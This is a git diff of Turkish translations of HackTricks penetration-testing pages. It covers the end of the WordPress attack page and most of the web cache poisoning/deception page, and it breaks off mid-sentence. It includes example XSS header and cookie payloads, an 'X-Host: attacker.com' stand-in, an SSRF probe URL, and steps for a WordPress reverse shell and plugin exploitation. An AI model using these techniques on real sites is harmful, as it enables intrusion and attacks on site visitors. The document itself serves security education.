bakın. +Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde **`system.multicall`** kullanımına bir göz atın. ```markup pingback.ping @@ -249,17 +249,17 @@ Bu yöntemi kötüye kullanarak DDoS saldırısı yapmak için **`system.multica ### wp-cron.php DoS -Bu dosya genellikle Wordpress sitesinin kök dizini altında bulunur: **`/wp-cron.php`**\ -Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **DoS** **oluşturmak** için kullanılabilir.\ +Bu dosya genellikle Wordpress sitesinin kökü altında bulunur: **`/wp-cron.php`**\ +Bu dosyaya **erişildiğinde** a "**yoğun**" MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından **Bir Hizmeti Engelleme** saldırısına neden olmak için kullanılabilir.\ Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemede çağrılır (istemci herhangi bir Wordpress sayfasını istediğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS). Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan). ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir. +https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir. -Bu, çalışmadığında gelen yanıttır: +Bu çalışmadığında alınan yanıt: ![](<../../.gitbook/assets/image (365).png>) @@ -267,7 +267,7 @@ Bu, çalışmadığında gelen yanıttır: {% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} -Bu araç, **methodName: pingback.ping**'i kontrol eder ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa bunları sömürmeye çalışır. +Bu araç, **methodName: pingback.ping**'i kontrol eder ve yol için **/wp-json/oembed/1.0/proxy**'yi kontrol eder ve varsa bunları istismar etmeye çalışır. ### Otomatik Araçlar ```bash @@ -278,14 +278,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve yönetin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} ## Biraz üzerine yazarak erişim alın -Bu, gerçek bir saldırıdan ziyade bir merak konusudur. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini devre dışı bırakabilirsiniz. +Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu çevirerek NOT (`!`) işlemini devre dışı bırakabilirsiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -300,7 +300,7 @@ Görünüm → Tema Düzenleyici → 404 Şablonu (sağda) ![](<../../.gitbook/assets/image (384).png>) -Bu güncellenmiş sayfaya nasıl erişebileceğinizi İnternet'te arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Bu güncellenmiş sayfaya nasıl erişebileceğinizi internet üzerinden arayın. Bu durumda buraya erişmeniz gerekecek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -339,19 +339,19 @@ Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz: ### Zararlı eklenti yükleme ve etkinleştirme -Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin kurulmasını ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir: +Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin kurulmasını ve bir web kabuğunun elde edilmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir: 1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin [**buradan**](https://www.exploit-db.com/exploits/36374). 2. **Eklenti Kurulumu**: * WordPress panosuna gidin, ardından `Pano > Eklentiler > Eklenti Yükle`'ye gidin. * İndirilen eklentinin zip dosyasını yükleyin. -3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde kurulduktan sonra, panodan etkinleştirilmelidir. +3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir. 4. **Sömürü**: -* "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, zayıf olduğu bilindiği için sömürülebilir. -* Metasploit çerçevesi bu zayıflık için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. +* "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir. +* Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. * Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir. -İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zayıflıkları sömürmek yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır. +İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır. **Daha detaylı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/) @@ -387,28 +387,28 @@ Ayrıca, **yalnızca güvenilir WordPress eklentileri ve temaları yükleyin**. * Varsayılan **admin** kullanıcısını kaldırın * **Güçlü şifreler** ve **2FA** kullanın -* Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** +* Kullanıcı **izinlerini periyodik olarak gözden geçirin** * Kaba kuvvet saldırılarını önlemek için **giriş denemesini sınırlayın** * **`wp-admin.php`** dosyasını yeniden adlandırın ve yalnızca belirli IP adreslerinden veya dahili olarak erişime izin verin.
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi 🐦 Twitter'da [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index de0392a3b..953126cde 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -10,42 +10,42 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## Fark > **Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?** > -> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü niyetli içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur. +> * **Web önbellek zehirlenmesinde**, saldırgan uygulamayı önbelleğe bazı kötü amaçlı içerikler depolamaya zorlar ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur. > * **Web önbellek aldatmacasında**, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe depolamaya zorlar ve ardından bu içeriği önbellekten alır. ## Önbellek Zehirlenmesi -Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, kirli yanıtın yalnızca önbelleğin kirletilme süresi boyunca sayfayı ziyaret eden kullanıcılara sunulması nedeniyle etkilenen sayfanın popülerliğine bağlıdır. +Önbellek zehirlenmesi, istemci tarafı önbelleğini manipüle etmeyi amaçlayarak istemcileri beklenmeyen, kısmi veya saldırganın kontrolü altındaki kaynakları yüklemeye zorlar. Etki derecesi, etkilenen sayfanın popülerliğine bağlıdır, çünkü kirletilmiş yanıt, önbelleğin kirletilme süresi boyunca sayfayı ziyaret eden kullanıcılara özel olarak sunulur. -Önbellek zehirlenmesi saldırısının yürütülmesi birkaç adımı içerir: +Önbellek zehirlenmesi saldırısının gerçekleştirilmesi birkaç adımı içerir: -1. **Anahtarsız Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da sunucu tarafından döndürülen yanıtı değiştirebilecek parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için sömürülebileceği için önemlidir. -2. **Anahtarsız Girişlerin Sömürülmesi**: Anahtarsız girişleri tanımladıktan sonra bir sonraki adım, bu parametreleri nasıl kötüye kullanacağınızı belirlemektir, böylece saldırganın yararına sunucunun yanıtını değiştirebilir. -3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin kirletildiği sırada etkilenen sayfaya erişen herhangi bir kullanıcı kirli yanıtı alacaktır. +1. **Anahtarlanmamış Girişlerin Tanımlanması**: Bu, önbelleğe alınması için gerekli olmasa da, sunucu tarafından döndürülen yanıtı değiştirebilen parametrelerdir. Bu girişlerin tanımlanması, önbelleği manipüle etmek için söz konusu girişlerin nasıl kötüye kullanılacağının belirlenmesi açısından önemlidir. +2. **Anahtarlanmamış Girişlerin Kötüye Kullanılması**: Anahtarlanmamış girişleri tanımladıktan sonra, bir sonraki adım, bu parametreleri nasıl kötüye kullanarak sunucunun yanıtını saldırganın lehine nasıl değiştireceğini bulmaktır. +3. **Zehirli Yanıtın Önbelleğe Alınmasının Sağlanması**: Son adım, manipüle edilmiş yanıtın önbelleğe alındığından emin olmaktır. Bu şekilde, önbelleğin zehirlendiği süre zarfında etkilenen sayfaya erişen herhangi bir kullanıcı kirletilmiş yanıtı alacaktır. ### Keşif: HTTP başlıklarını kontrol edin -Genellikle bir yanıt **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Genellikle bir yanıtın **önbelleğe alındığında buna işaret eden bir başlık** olacaktır, bu başlıklara dikkat etmeniz gereken hangi başlıklar olduğunu bu yazıda kontrol edebilirsiniz: [**HTTP Önbellek başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Keşif: Önbellek hata kodları +### Keşif: Önbellek hata kodlarını kontrol edin -Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek gönderebilirsiniz**, bu durumda bir **durum kodu 400** ile yanıt almalısınız. Daha sonra isteği normal olarak erişmeyi deneyin ve yanıtın **400 durum kodu** olduğunu gördüğünüzde, zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz). +Eğer yanıtın önbelleğe alındığını düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu durumda bir **durum kodu 400** ile yanıt verilmesi gerekmektedir. Daha sonra isteği normal olarak erişmeye çalışın ve yanıtın **400 durum kodu** olup olmadığını kontrol edin, eğer öyleyse zayıf olduğunu biliyorsunuzdur (ve hatta bir DoS gerçekleştirebilirsiniz). Daha fazla seçenek bulabilirsiniz: @@ -53,9 +53,9 @@ Daha fazla seçenek bulabilirsiniz: [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -Ancak **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test güvenilir olmayabilir. +Ancak, **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test güvenilir olmayabilir. -### Keşif: Anahtarsız girişleri tanımlayın ve değerlendirin +### Keşif: Anahtarlanmamış girişleri tanımlayın ve değerlendirin [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın yanıtını değiştirebilecek parametreleri ve başlıkları **brute-force** yöntemiyle bulabilirsiniz. Örneğin, bir sayfa, betiği oradan yüklemesi için istemciyi göstermek için `X-Forwarded-For` başlığını kullanıyor olabilir: ```markup @@ -63,52 +63,52 @@ Ancak **bazen bu tür durum kodları önbelleğe alınmaz** bu nedenle bu test g ``` ### Zararlı bir yanıtı arka uç sunucudan çıkarın -Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin tarafınızdan kontrol edilen bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...) +Parametre/başlık belirlendikten sonra, nasıl **temizlendiğini** ve nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Herhangi bir şekilde kötüye kullanabilir misiniz (XSS gerçekleştirebilir veya sizin kontrolünüzdeki bir JS kodu yükleyebilir misiniz? DoS gerçekleştirebilir misiniz?...) ### Yanıtı önbelleğe alın -Kötüye kullanılabilecek **sayfayı** belirledikten sonra, hangi **parametre**/**başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalıştığınız kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\ -Yanıtta **`X-Cache`** başlığı, isteğin önbelleğe alınıp alınmadığını belirten **`miss`** değerine sahip olabilir ve önbelleğe alındığında **`hit`** değerine sahip olabilir.\ -**`Cache-Control`** başlığı da önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`\ -Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen ek başlıkları belirtmek için kullanılır, normalde anahtar olmasalar bile. Bu nedenle, kullanıcı, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\ +Kötüye kullanılabilecek **sayfayı** belirledikten sonra, hangi **parametre**/**başlık**'ı kullanacağınızı ve nasıl **kötüye kullanacağınızı** belirledikten sonra, sayfayı önbelleğe almanız gerekmektedir. Önbelleğe alınmaya çalışılan kaynağa bağlı olarak, bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.\ +Yanıtta **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine sahip olabileceği ve önbelleğe alındığında **`hit`** değerine sahip olabileceği için çok yararlı olabilir.\ +**`Cache-Control`** başlığı da ilginçtir; bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki sefer ne zaman tekrar önbelleğe alınacağını bilmek için kullanışlıdır: `Cache-Control: public, max-age=1800`\ +Başka bir ilginç başlık ise **`Vary`**. Bu başlık genellikle önbellek anahtarı olarak işlenen normalde anahtar olmayan ek başlıkları belirtmek için kullanılır. Bu nedenle, kullanıcı, hedef aldığı kurbanın `User-Agent`'ını biliyorsa, belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.\ Önbellekle ilgili bir başka başlık ise **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye boyunca olduğunu tanımlar. -Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin**, çünkü bunlardan bazıları beklenmedik şekilde **anahtar olarak** kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin. +Bir isteği önbelleğe alırken, kullanılan başlıklara **dikkat edin** çünkü bunlardan bazıları beklenmedik şekilde **anahtar** olarak kullanılabilir ve **kurbanın aynı başlığı kullanması gerekebilir**. Her zaman **farklı tarayıcılar** kullanarak bir Önbellek Zehirlenmesini **test edin** ve çalışıp çalışmadığını kontrol edin. ## Sömürü Örnekleri -### En kolay örnek +### En basit örnek `X-Forwarded-For` gibi bir başlık yanıtta temizlenmeden yansıtılıyor.\ -Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS olacaktır: +Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS'e maruz kalacaktır: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Not: Bu, `/en` yerine `/en?region=uk` isteğini zehirleyecektir._ +_Not edin ki bu `/en?region=uk` isteğini zehirleyecek, `/en` değil_ -### Hizmet Dışı Bırakmak İçin Önbellek Zehirlenmesi +### DoS için önbellek zehirlenmesi {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -### Çerez İşleme Güvenlik Açıklarını Sömürmek İçin Web Önbellek Zehirlenmesi Kullanımı +### Çerez işleme açıklarını sömürmek için web önbellek zehirlenmesi kullanma -Çerezler ayrıca bir sayfanın yanıtında yansıtılabilmektedir. Örneğin bir XSS oluşturmak için bunu kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz. +Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bir XSS'e neden olmak için bunu kötüye kullanabilirseniz, kötü amaçlı önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -### Yol gezintisi ile önbellek zehirlenmesi yaparak API anahtarını çalmak için çoklu başlıkların kullanılması +### API anahtarını çalmak için yol gezinimini kullanarak önbellek zehirlenmesi -[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alınacaktır, bu da isteğin web sunucusuna ulaştığında yapıldı. +[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alınacağı ve bu işlemin web sunucusuna ulaştığında gerçekleştiği anlatılmaktadır. -### Web önbellek zehirlenmesi açıklarını sömürmek için çoklu başlıkların kullanılması +### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma -Bazen bir önbelleği kötüye kullanabilmek için **çeşitli anahtarsız girişleri sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Sunucu**, tüm **HTTP** isteklerini **HTTPS'ye** yönlendiriyorsa ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa. Yönlendirmenin nereye yapıldığını yönlendirebilirsiniz. +Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -117,7 +117,7 @@ X-Forwarded-Scheme: http ``` ### Sınırlı `Vary` başlığı ile Sömürme -Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanılan **alan adını yüklemek için bir JS kaynağı** olarak **`X-Host`** başlığını bulduysanız, kurbanın User-Agent'ını dışarı sızdırmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir: +Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanıldığını fark ederseniz ve **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı olarak kullanıldığını** bulursanız, kurbanın User-Agent'ını dışa çıkarmak ve bu user agent'ı kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -126,7 +126,7 @@ X-Host: attacker.com ``` ### Fat Get -GET isteği, isteği URL'de ve gövdede göndererek gönderilir. Web sunucusu gövdeden alınanı kullanırken önbellek sunucusu URL'den alınanı önbelleğe alırsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde bulunan James Kettle'ın keşfettiği zafiyet gibi. +GET isteği, isteği URL'de ve gövdede göndererek gönderilir. Eğer web sunucusu gövdedekini kullanıyorsa ancak önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. Github web sitesinde bulunan James Kettle'ın keşfettiği zayıflık gibi. ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -137,13 +137,13 @@ report=innocent-victim ``` ### Parametre Gizleme -Örneğin, ruby sunucularda **parametreleri** **`&`** yerine **`;`** karakterini kullanarak ayırabilirsiniz. Bu, anahtarlı olmayan parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir. +Örneğin, ruby sunucularda **`&`** yerine **`;`** karakterini kullanarak **parametreleri** ayırmak mümkündür. Bu, anahtarlı parametre değerlerini anahtarlı olmayanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Kötüye Kullanma +### HTTP Önbellek Zehirlenmesini Kötüye Kullanarak HTTP Önbellek Zehirlenmesini Sömürme -[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin. +[HTTP İstek Kaçırma](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) kullanarak Önbellek Zehirlenme saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin. ### Web Önbellek Zehirlenmesi için Otomatik Testler @@ -156,22 +156,22 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## Zafiyetli Örnekler +## Hassas Örnekler ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS, URL içindeki fragmenti ayıklamadan iletmiş ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (fragmenti yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderilmiş ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunmuş, yük içermemiş. +ATS, 